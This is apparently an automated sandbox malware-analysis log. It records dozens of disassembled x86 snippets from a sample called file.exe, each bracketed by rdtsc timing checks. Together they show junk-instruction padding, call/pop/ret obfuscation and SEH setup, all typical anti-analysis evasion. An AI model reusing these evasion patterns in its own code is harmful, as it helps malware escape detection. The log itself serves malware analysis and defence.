Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CB81 second address: 102CB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD54 second address: 102CD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CB85 second address: 102CB89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD58 second address: 102CD5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E796 second address: 102E79B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E79B second address: 102E7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F39B477F4D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F39B477F4DCh 0x00000016 je 00007F39B477F4D6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E7B7 second address: 102E813 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F39B537D7E6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e call 00007F39B537D7EAh 0x00000013 mov ah, B0h 0x00000015 pop edx 0x00000016 popad 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F39B537D7E8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 movsx esi, bx 0x00000038 jmp 00007F39B537D7F0h 0x0000003d xchg eax, ebx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jg 00007F39B537D7E6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103128E second address: 1031329 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B477F4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007F39B477F4E4h 0x00000012 push ebx 0x00000013 jmp 00007F39B477F4DCh 0x00000018 pop ebx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F39B477F4D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D2C3Eh] 0x0000003a push 00000000h 0x0000003c ja 00007F39B477F4DCh 0x00000042 call 00007F39B477F4E0h 0x00000047 mov edi, dword ptr [ebp+122D2CA6h] 0x0000004d pop edi 0x0000004e push 00000000h 0x00000050 push 00000000h 0x00000052 push ebx 0x00000053 call 00007F39B477F4D8h 0x00000058 pop ebx 0x00000059 mov dword ptr [esp+04h], ebx 0x0000005d add dword ptr [esp+04h], 0000001Ah 0x00000065 inc ebx 0x00000066 push ebx 0x00000067 ret 0x00000068 pop ebx 0x00000069 ret 0x0000006a mov si, 78E4h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 push esi 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EF84 second address: 102EF8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031329 second address: 103132E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103132E second address: 1031338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F39B537D7E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031338 second address: 103133C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103492C second address: 103494C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F39B537D7F1h 0x0000000b jne 00007F39B537D7E6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035576 second address: 103557A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103557A second address: 103557E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031AEE second address: 1031AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031AF2 second address: 1031B04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031B04 second address: 1031B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036AED second address: 1036AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037AA1 second address: 1037AFF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F39B477F4DCh 0x00000008 jg 00007F39B477F4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ebx, dword ptr [ebp+122D2CF2h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F39B477F4D8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D1CEEh], ecx 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push esi 0x00000041 jmp 00007F39B477F4E4h 0x00000046 pop esi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036CAC second address: 1036CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036CB0 second address: 1036CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037C5B second address: 1037CDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F39B537D7FBh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov di, F7FCh 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov di, dx 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 mov edi, dword ptr [ebp+122D230Eh] 0x00000028 jmp 00007F39B537D7F5h 0x0000002d mov eax, dword ptr [ebp+122D0121h] 0x00000033 pushad 0x00000034 mov edx, edi 0x00000036 push edi 0x00000037 mov eax, 55F815E1h 0x0000003c pop ebx 0x0000003d popad 0x0000003e push FFFFFFFFh 0x00000040 mov di, bx 0x00000043 nop 0x00000044 jg 00007F39B537D7F0h 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push esi 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039CEA second address: 1039CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039CEE second address: 1039CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039CFC second address: 1039D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039D16 second address: 1039D60 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+12450876h], ebx 0x00000013 push 00000000h 0x00000015 mov edi, 7F45AC00h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F39B537D7E8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007F39B537D7EBh 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039D60 second address: 1039D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038D11 second address: 1038D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038D17 second address: 1038D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038D1D second address: 1038D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BBF9 second address: 103BC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C1DB second address: 103C1E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C1E0 second address: 103C1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103D46E second address: 103D485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B537D7EFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C3A2 second address: 103C3A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C3A6 second address: 103C3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C3AC second address: 103C3D7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F39B477F4ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F39B477F4F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FAD3 second address: 103FB53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F39B537D7E8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jbe 00007F39B537D7F3h 0x0000002d jmp 00007F39B537D7EDh 0x00000032 push 00000000h 0x00000034 movsx ebx, cx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F39B537D7E8h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 sub dword ptr [ebp+122D27FCh], ebx 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FB53 second address: 103FB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040B08 second address: 1040B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040B0C second address: 1040B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040B10 second address: 1040B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040B16 second address: 1040B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041AB7 second address: 1041ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041ABC second address: 1041AC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041AC1 second address: 1041AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F39B537D7E8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 sbb di, C430h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 pushad 0x00000032 popad 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041C5D second address: 1041C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041C64 second address: 1041CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F39B537D7E8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov ebx, dword ptr [ebp+122D200Dh] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F39B537D7E8h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov eax, dword ptr [ebp+122D1575h] 0x00000058 pushad 0x00000059 mov edi, dword ptr [ebp+122D2309h] 0x0000005f stc 0x00000060 popad 0x00000061 push FFFFFFFFh 0x00000063 or edi, dword ptr [ebp+1244EC42h] 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push edi 0x0000006f pop edi 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041CE0 second address: 1041CEA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F39B477F4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042E46 second address: 1042E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042E4C second address: 1042E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042E51 second address: 1042E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B537D7EFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040C9B second address: 1040C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046C87 second address: 1046C8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044EF4 second address: 1044EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044EF8 second address: 1044F02 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045E92 second address: 1045F38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+1244EEF2h], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 movzx ebx, cx 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F39B477F4D8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d cld 0x0000003e mov eax, dword ptr [ebp+122D01E1h] 0x00000044 jmp 00007F39B477F4E6h 0x00000049 push FFFFFFFFh 0x0000004b mov ebx, dword ptr [ebp+122D2F06h] 0x00000051 nop 0x00000052 jc 00007F39B477F4F1h 0x00000058 pushad 0x00000059 jmp 00007F39B477F4E7h 0x0000005e push edi 0x0000005f pop edi 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jno 00007F39B477F4DCh 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044F02 second address: 1044F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047D18 second address: 1047D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047D1C second address: 1047D30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046E5C second address: 1046E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F39B477F4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047D30 second address: 1047D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047D35 second address: 1047D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F39B477F4E1h 0x00000010 jmp 00007F39B477F4DBh 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F39B477F4D8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov dword ptr [ebp+12451461h], eax 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+1244E98Eh], esi 0x0000003e push 00000000h 0x00000040 add di, 6A1Ch 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054995 second address: 105499C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105499C second address: 10549A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054B49 second address: 1054B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F2h 0x00000007 jno 00007F39B537D7E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054CD0 second address: 1054CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054CD4 second address: 1054CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054E2C second address: 1054E48 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F39B477F4DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F39B477F4D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054E48 second address: 1054E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A494 second address: 105A52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B477F4E7h 0x00000009 popad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 ja 00007F39B477F4ECh 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F39B477F4E2h 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 push edx 0x00000025 jmp 00007F39B477F4DFh 0x0000002a pop edx 0x0000002b push ecx 0x0000002c jmp 00007F39B477F4E2h 0x00000031 pop ecx 0x00000032 popad 0x00000033 mov eax, dword ptr [eax] 0x00000035 jmp 00007F39B477F4E4h 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e pushad 0x0000003f jmp 00007F39B477F4DEh 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F549 second address: 105F553 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39B537D7E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F553 second address: 105F561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F39B477F4D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F561 second address: 105F591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F4h 0x00000007 jmp 00007F39B537D7F4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F591 second address: 105F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E8D8 second address: 105E90B instructions: 0x00000000 rdtsc 0x00000002 js 00007F39B537D7EAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jg 00007F39B537D801h 0x00000012 jmp 00007F39B537D7F9h 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EC93 second address: 105EC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F39B477F4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F101 second address: 105F109 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
